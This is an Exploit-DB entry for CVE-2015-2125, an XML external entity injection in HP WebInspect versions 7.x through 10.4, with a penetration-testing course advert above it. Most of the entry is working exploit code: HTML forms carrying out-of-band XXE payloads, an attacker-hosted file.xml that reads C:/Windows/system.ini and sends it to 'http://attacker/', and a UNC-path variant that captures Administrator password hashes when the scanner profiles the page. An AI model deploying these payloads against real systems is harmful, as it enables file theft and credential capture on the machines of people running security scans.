HP WebInspect 10.4 - XML External Entity Injection

EDB-ID:

37250




Platform:

XML

Date:

2015-06-10


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125

1. Create website that exploits vulnerability.

1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">

1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.

2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.